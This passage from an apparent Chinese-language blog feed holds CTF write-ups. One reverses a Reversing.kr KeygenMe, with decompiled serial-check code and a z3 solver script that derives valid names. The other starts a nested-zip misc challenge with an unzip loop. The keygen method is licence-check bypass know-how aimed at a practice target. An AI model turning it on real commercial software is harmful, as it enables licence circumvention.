class="number">1</span>) &amp; <span class="number">1</span>) + <span class="number">1</span>;</span><br><span class="line">              name_second_3bit = ((v8 &gt;&gt; <span class="number">2</span>) &amp; <span class="number">1</span>) + <span class="number">1</span>;</span><br><span class="line">              name_second_4bit = ((v8 &gt;&gt; <span class="number">3</span>) &amp; <span class="number">1</span>) + <span class="number">1</span>;</span><br><span class="line">              v10 = (<span class="keyword">wchar_t</span> *)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetBuffer(&amp;v52);</span><br><span class="line">              itow_s(name_first_1bit + name_second_3bit, v10, <span class="number">0xA</span>u, <span class="number">10</span>);</span><br><span class="line">              v11 = ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;v52, <span class="number">0</span>);</span><br><span class="line">              <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> __int16)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;serial, <span class="number">0</span>) == v11 )</span><br><span class="line">              &#123;</span><br><span class="line">                ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::ReleaseBuffer(&amp;v52, <span class="number">-1</span>);</span><br><span class="line">                v12 = (<span class="keyword">wchar_t</span> *)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetBuffer(&amp;v52);</span><br><span class="line">                itow_s(name_first_4bit + name_second_4bit, v12, <span class="number">0xA</span>u, <span class="number">10</span>);</span><br><span class="line">                v13 = ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;serial, <span class="number">1</span>);</span><br><span class="line">                <span class="keyword">if</span> ( v13 == (<span class="keyword">unsigned</span> __int16)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;v52, <span class="number">0</span>) )</span><br><span class="line">                &#123;</span><br><span class="line">                  ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::ReleaseBuffer(&amp;v52, <span class="number">-1</span>);</span><br><span class="line">                  v14 = (<span class="keyword">wchar_t</span> *)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetBuffer(&amp;v52);</span><br><span class="line">                  itow_s(name_first_2bit + name_second_5bit, v14, <span class="number">0xA</span>u, <span class="number">10</span>);</span><br><span class="line">                  v15 = ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;serial, <span class="number">2</span>);</span><br><span class="line">                  <span class="keyword">if</span> ( v15 == (<span class="keyword">unsigned</span> __int16)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;v52, <span class="number">0</span>) )</span><br><span class="line">                  &#123;</span><br><span class="line">                    ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::ReleaseBuffer(&amp;v52, <span class="number">-1</span>);</span><br><span class="line">                    v16 = (<span class="keyword">wchar_t</span> *)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetBuffer(&amp;v52);</span><br><span class="line">                    itow_s(name_first_3bit + name_second_1bit, v16, <span class="number">0xA</span>u, <span class="number">10</span>);</span><br><span class="line">                    v17 = ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;serial, <span class="number">3</span>);</span><br><span class="line">                    <span class="keyword">if</span> ( v17 == (<span class="keyword">unsigned</span> __int16)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;v52, <span class="number">0</span>) )</span><br><span class="line">                    &#123;</span><br><span class="line">                      ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::ReleaseBuffer(&amp;v52, <span class="number">-1</span>);</span><br><span class="line">                      v18 = (<span class="keyword">wchar_t</span> *)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetBuffer(&amp;v52);</span><br><span class="line">                      itow_s(name_first_5bit + name_second_2bit, v18, <span class="number">0xA</span>u, <span class="number">10</span>);</span><br><span class="line">                      v19 = ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;serial, <span class="number">4</span>);</span><br><span class="line">                      <span class="keyword">if</span> ( v19 == (<span class="keyword">unsigned</span> __int16)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;v52, <span class="number">0</span>) )</span><br><span class="line">                      &#123;</span><br><span class="line">                        ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::ReleaseBuffer(&amp;v52, <span class="number">-1</span>);</span><br><span class="line">                        v20 = ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;name, <span class="number">2</span>);</span><br><span class="line">                        name_third_1bit = (v20 &amp; <span class="number">1</span>) + <span class="number">5</span>;</span><br><span class="line">                        name_third_5bit = ((v20 &gt;&gt; <span class="number">4</span>) &amp; <span class="number">1</span>) + <span class="number">5</span>;</span><br><span class="line">                        name_third_2bit = ((v20 &gt;&gt; <span class="number">1</span>) &amp; <span class="number">1</span>) + <span class="number">5</span>;</span><br><span class="line">                        name_third_3bit = ((v20 &gt;&gt; <span class="number">2</span>) &amp; <span class="number">1</span>) + <span class="number">5</span>;</span><br><span class="line">                        name_third_4bit = ((v20 &gt;&gt; <span class="number">3</span>) &amp; <span class="number">1</span>) + <span class="number">5</span>;</span><br><span class="line">                        v22 = ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;name, <span class="number">3</span>);</span><br><span class="line">                        name_fourth_1bit = (v22 &amp; <span class="number">1</span>) + <span class="number">1</span>;</span><br><span class="line">                        name_fourth_5bit = ((v22 &gt;&gt; <span class="number">4</span>) &amp; <span class="number">1</span>) + <span class="number">1</span>;</span><br><span class="line">                        name_fourth_2bit = ((v22 &gt;&gt; <span class="number">1</span>) &amp; <span class="number">1</span>) + <span class="number">1</span>;</span><br><span class="line">                        name_fourth_3bit = ((v22 &gt;&gt; <span class="number">2</span>) &amp; <span class="number">1</span>) + <span class="number">1</span>;</span><br><span class="line">                        name_fourth_4bit = ((v22 &gt;&gt; <span class="number">3</span>) &amp; <span class="number">1</span>) + <span class="number">1</span>;</span><br><span class="line">                        v24 = (<span class="keyword">wchar_t</span> *)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetBuffer(&amp;v52);</span><br><span class="line">                        itow_s(name_third_1bit + name_fourth_3bit, v24, <span class="number">0xA</span>u, <span class="number">10</span>);</span><br><span class="line">                        v25 = ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;serial, <span class="number">6</span>);</span><br><span class="line">                        <span class="keyword">if</span> ( v25 == (<span class="keyword">unsigned</span> __int16)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;v52, <span class="number">0</span>) )</span><br><span class="line">                        &#123;</span><br><span class="line">                          ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::ReleaseBuffer(&amp;v52, <span class="number">-1</span>);</span><br><span class="line">                          v26 = (<span class="keyword">wchar_t</span> *)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetBuffer(&amp;v52);</span><br><span class="line">                          itow_s(name_third_4bit + name_fourth_4bit, v26, <span class="number">0xA</span>u, <span class="number">10</span>);</span><br><span class="line">                          v27 = ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;serial, <span class="number">7</span>);</span><br><span class="line">                          <span class="keyword">if</span> ( v27 == (<span class="keyword">unsigned</span> __int16)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;v52, <span class="number">0</span>) )</span><br><span class="line">                          &#123;</span><br><span class="line">                            ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::ReleaseBuffer(&amp;v52, <span class="number">-1</span>);</span><br><span class="line">                            v28 = (<span class="keyword">wchar_t</span> *)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetBuffer(&amp;v52);</span><br><span class="line">                            itow_s(name_third_2bit + name_fourth_5bit, v28, <span class="number">0xA</span>u, <span class="number">10</span>);</span><br><span class="line">                            v29 = ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;serial, <span class="number">8</span>);</span><br><span class="line">                            <span class="keyword">if</span> ( v29 == (<span class="keyword">unsigned</span> __int16)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;v52, <span class="number">0</span>) )</span><br><span class="line">                            &#123;</span><br><span class="line">                              ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::ReleaseBuffer(&amp;v52, <span class="number">-1</span>);</span><br><span class="line">                              v30 = (<span class="keyword">wchar_t</span> *)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetBuffer(&amp;v52);</span><br><span class="line">                              itow_s(name_third_3bit + name_fourth_1bit, v30, <span class="number">0xA</span>u, <span class="number">10</span>);</span><br><span class="line">                              v31 = ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;serial, <span class="number">9</span>);</span><br><span class="line">                              <span class="keyword">if</span> ( v31 == (<span class="keyword">unsigned</span> __int16)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;v52, <span class="number">0</span>) )</span><br><span class="line">                              &#123;</span><br><span class="line">                                ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::ReleaseBuffer(&amp;v52, <span class="number">-1</span>);</span><br><span class="line">                                v32 = (<span class="keyword">wchar_t</span> *)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetBuffer(&amp;v52);</span><br><span class="line">                                itow_s(name_third_5bit + name_fourth_2bit, v32, <span class="number">0xA</span>u, <span class="number">10</span>);</span><br><span class="line">                                v33 = ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;serial, <span class="number">10</span>);</span><br><span class="line">                                <span class="keyword">if</span> ( v33 == (<span class="keyword">unsigned</span> __int16)ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::GetAt(&amp;v52, <span class="number">0</span>) )</span><br><span class="line">                                &#123;</span><br><span class="line">                                  ATL::CSimpleStringT&lt;<span class="keyword">wchar_t</span>,<span class="number">1</span>&gt;::ReleaseBuffer(&amp;v52, <span class="number">-1</span>);</span><br><span class="line">                                  ATL::CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;::~CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;(&amp;v52);</span><br><span class="line">                                  ATL::CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;::~CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;(&amp;serial);</span><br><span class="line">                                  ATL::CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;::~CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;(&amp;name);</span><br><span class="line">                                  <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">                                &#125;</span><br><span class="line">                              &#125;</span><br><span class="line">                            &#125;</span><br><span class="line">                          &#125;</span><br><span class="line">                        &#125;</span><br><span class="line">                      &#125;</span><br><span class="line">                    &#125;</span><br><span class="line">                  &#125;</span><br><span class="line">                &#125;</span><br><span class="line">              &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">goto</span> LABEL_2;</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">LABEL_2:</span><br><span class="line">  ATL::CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;::~CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;(&amp;v52);</span><br><span class="line">  ATL::CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;::~CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;(&amp;serial);</span><br><span class="line">  ATL::CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;::~CStringT&lt;<span class="keyword">wchar_t</span>,StrTraitMFC_DLL&lt;<span class="keyword">wchar_t</span>,ATL::ChTraitsCRT&lt;<span class="keyword">wchar_t</span>&gt;&gt;&gt;(&amp;name);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>一些api的说明如下</p><blockquote><p><strong>itow_s(name_first_4bit + name_second_4bit, v12, 0xAu, 10)</strong></p><p>将第一个参数转成10进制的数字，比如参数为6，得到的结果就是字符6。</p><p><strong>ATL::CSimpleStringT&lt;wchar_t,1&gt;::GetAt(&amp;serial, 6)</strong></p><p>取serial的第7个字符。</p></blockquote><h2 id="解题脚本"><a href="#解题脚本" class="headerlink" title="解题脚本"></a>解题脚本</h2><p>这里用<code>z3</code>约束器进行求解。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> z3 <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">correct = [<span class="number">7</span>,<span class="number">6</span>,<span class="number">8</span>,<span class="number">7</span>,<span class="number">6</span>,<span class="number">7</span>,<span class="number">7</span>,<span class="number">7</span>,<span class="number">7</span>,<span class="number">6</span>]</span><br><span class="line">a = BitVec(<span class="string">'a'</span>,<span class="number">8</span>)</span><br><span class="line">b = BitVec(<span class="string">'b'</span>,<span class="number">8</span>)</span><br><span class="line">c = BitVec(<span class="string">'c'</span>,<span class="number">8</span>)</span><br><span class="line">d = BitVec(<span class="string">'d'</span>,<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line">name_first_1bit = (a &amp; <span class="number">1</span>) + <span class="number">5</span></span><br><span class="line">name_first_5bit = ((a &gt;&gt; <span class="number">4</span>) &amp; <span class="number">1</span>) + <span class="number">5</span></span><br><span class="line">name_first_2bit = ((a &gt;&gt; <span class="number">1</span>) &amp; <span class="number">1</span>) + <span class="number">5</span></span><br><span class="line">name_first_3bit = ((a &gt;&gt; <span class="number">2</span>) &amp; <span class="number">1</span>) + <span class="number">5</span></span><br><span class="line">name_first_4bit = ((a &gt;&gt; <span class="number">3</span>) &amp; <span class="number">1</span>) + <span class="number">5</span></span><br><span class="line"></span><br><span class="line">name_second_1bit = (b &amp; <span class="number">1</span>) + <span class="number">1</span></span><br><span class="line">name_second_5bit = ((b &gt;&gt; <span class="number">4</span>) &amp; <span class="number">1</span>) + <span class="number">1</span></span><br><span class="line">name_second_2bit = ((b &gt;&gt; <span class="number">1</span>) &amp; <span class="number">1</span>) + <span class="number">1</span></span><br><span class="line">name_second_3bit = ((b &gt;&gt; <span class="number">2</span>) &amp; <span class="number">1</span>) + <span class="number">1</span></span><br><span class="line">name_second_4bit = ((b &gt;&gt; <span class="number">3</span>) &amp; <span class="number">1</span>) + <span class="number">1</span>  </span><br><span class="line"></span><br><span class="line">name_third_1bit = (c &amp; <span class="number">1</span>) + <span class="number">5</span></span><br><span class="line">name_third_5bit = ((c &gt;&gt; <span class="number">4</span>) &amp; <span class="number">1</span>) + <span class="number">5</span></span><br><span class="line">name_third_2bit = ((c &gt;&gt; <span class="number">1</span>) &amp; <span class="number">1</span>) + <span class="number">5</span></span><br><span class="line">name_third_3bit = ((c &gt;&gt; <span class="number">2</span>) &amp; <span class="number">1</span>) + <span class="number">5</span></span><br><span class="line">name_third_4bit = ((c &gt;&gt; <span class="number">3</span>) &amp; <span class="number">1</span>) + <span class="number">5</span></span><br><span class="line"></span><br><span class="line">name_fourth_1bit = (d &amp; <span class="number">1</span>) + <span class="number">1</span></span><br><span class="line">name_fourth_5bit = ((d &gt;&gt; <span class="number">4</span>) &amp; <span class="number">1</span>) + <span class="number">1</span></span><br><span class="line">name_fourth_2bit = ((d &gt;&gt; <span class="number">1</span>) &amp; <span class="number">1</span>) + <span class="number">1</span></span><br><span class="line">name_fourth_3bit = ((d &gt;&gt; <span class="number">2</span>) &amp; <span class="number">1</span>) + <span class="number">1</span></span><br><span class="line">name_fourth_4bit = ((d &gt;&gt; <span class="number">3</span>) &amp; <span class="number">1</span>) + <span class="number">1</span> </span><br><span class="line"></span><br><span class="line">x = Solver()</span><br><span class="line">x.add( And(a &gt;= ord(<span class="string">'a'</span>), a &lt;= ord(<span class="string">'z'</span>)) )</span><br><span class="line">x.add( And(b &gt;= ord(<span class="string">'a'</span>), b &lt;= ord(<span class="string">'z'</span>)) )</span><br><span class="line">x.add( And(c &gt;= ord(<span class="string">'a'</span>), c &lt;= ord(<span class="string">'z'</span>)) )</span><br><span class="line">x.add( And(d &gt;= ord(<span class="string">'a'</span>), d &lt;= ord(<span class="string">'z'</span>)) )</span><br><span class="line"></span><br><span class="line">x.add( (name_first_1bit + name_second_3bit) == correct[<span class="number">0</span>] )</span><br><span class="line">x.add( (name_first_4bit + name_second_4bit) == correct[<span class="number">1</span>] )</span><br><span class="line">x.add( (name_first_2bit + name_second_5bit) == correct[<span class="number">2</span>] )</span><br><span class="line">x.add( (name_first_3bit + name_second_1bit) == correct[<span class="number">3</span>] )</span><br><span class="line">x.add( (name_first_5bit + name_second_2bit) == correct[<span class="number">4</span>] )</span><br><span class="line"></span><br><span class="line">x.add( (name_third_1bit + name_fourth_3bit) == correct[<span class="number">5</span>] )</span><br><span class="line">x.add( (name_third_4bit + name_fourth_4bit) == correct[<span class="number">6</span>] )</span><br><span class="line">x.add( (name_third_2bit + name_fourth_5bit) == correct[<span class="number">7</span>] )</span><br><span class="line">x.add( (name_third_3bit + name_fourth_1bit) == correct[<span class="number">8</span>] )</span><br><span class="line">x.add( (name_third_5bit + name_fourth_2bit) == correct[<span class="number">9</span>] )</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> x.check() == sat:</span><br><span class="line">flag = chr(x.model()[a].as_long()) + chr(x.model()[b].as_long()) + chr(x.model()[c].as_long()) + chr(x.model()[d].as_long())</span><br><span class="line"><span class="keyword">if</span> flag[<span class="number">-1</span>] == <span class="string">'p'</span>:</span><br><span class="line"><span class="keyword">print</span> flag</span><br><span class="line">x.add( Or( a!=x.model()[a].as_long(), b!=x.model()[b].as_long(), c!= x.model()[c].as_long(), d!= x.model()[d].as_long() ) )</span><br><span class="line"></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">ftmp</span></span><br><span class="line"><span class="string">gpmp</span></span><br><span class="line"><span class="string">bump</span></span><br><span class="line"><span class="string">cqmp</span></span><br><span class="line"><span class="string">'''</span></span><br></pre></td></tr></table></figure><p><img src="https://s2.ax1x.com/2019/11/25/MvEaYq.png" alt="MvEaYq.png"></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;题目描述&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/L1B0/CTF/tree/master/Reversing-Kr/Position&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;题目文件及脚本&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;ReversingKr KeygenMe&lt;/p&gt;
&lt;p&gt;Find the Name when the Serial is 76876-77776&lt;br&gt;This problem has several answers.&lt;/p&gt;
&lt;p&gt;Password is ***p&lt;/p&gt;
&lt;/blockquote&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Reverse" scheme="https://l1b0.fun/tags/Reverse/"/>
    
      <category term="Reversing-Kr" scheme="https://l1b0.fun/tags/Reversing-Kr/"/>
    
      <category term="Z3" scheme="https://l1b0.fun/tags/Z3/"/>
    
  </entry>
  
  <entry>
    <title>hackme.inndy.tw Misc zipfile Writeup</title>
    <link href="https://l1b0.fun/126054f9/"/>
    <id>https://l1b0.fun/126054f9/</id>
    <published>2019-11-23T06:03:33.000Z</published>
    <updated>2019-11-23T06:14:04.007Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>最近在摸鱼，在hackme inndy的网站上做了一道有点意思的misc，这里记录一下解题过程，不放flag。</p><p><a href="https://github.com/L1B0/CTF/tree/master/hackme.inndy.tw/misc/zipfile" target="_blank" rel="noopener">题目文件及exp</a></p></blockquote><table><thead><tr><th>#</th><th>Type</th><th>Name</th><th>Points</th><th>Solved</th><th>Description</th></tr></thead><tbody><tr><td>14</td><td>Misc</td><td>[Solved] zipfile</td><td>100</td><td>3</td><td>Unzip this file</td></tr></tbody></table><a id="more"></a><h2 id="0x01-unzip-zipfile"><a href="#0x01-unzip-zipfile" class="headerlink" title="0x01 unzip zipfile"></a>0x01 unzip zipfile</h2><p>首先看下题目给的文件，是个zip压缩包，里面嵌套了很多层zip，手动解压是不太可能的。</p><p>这里我写了个简单的shell脚本，文件<code>input</code>内容为<code>y</code>，因为解压过程中文件名一样会将原文件覆盖。</p><p>通过<code>ls -l</code>查看压缩包大小判断是否解压完毕。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">while :</span><br><span class="line">do</span><br><span class="line">unzip zipfile.zip &lt; input</span><br><span class="line">ls zipfile.zip -l</span><br><span class="line">done</span><br></pre></td></tr></table></figure><p>过程如下图，可以看到有个文件大小变大的突变，这时停止脚本。</p><p>得到一个大小为<code>2465252B</code>的压缩包。</p><p><img src="https://s2.ax1x.com/2019/11/23/MbEQdf.png" alt="unzip"></p><h2 id="0x02-处理zipfile-zip"><a href="#0x02-处理zipfile-zip" class="headerlink" title="0x02 处理zipfile.zip"></a>0x02 处理zipfile.zip</h2><p>用010editor解析压缩包，看到包含500多个文件。</p><p><img src="https://s2.ax1x.com/2019/11/23/MbVkmq.md.png" alt="010-zipfile"></p><p>尝试解压会发现这个解压后的文件名很骚，极长而且带有斜杠于是被当成目录结构，例子如下，并且有<strong>重复文件名出现</strong>。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ELF0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0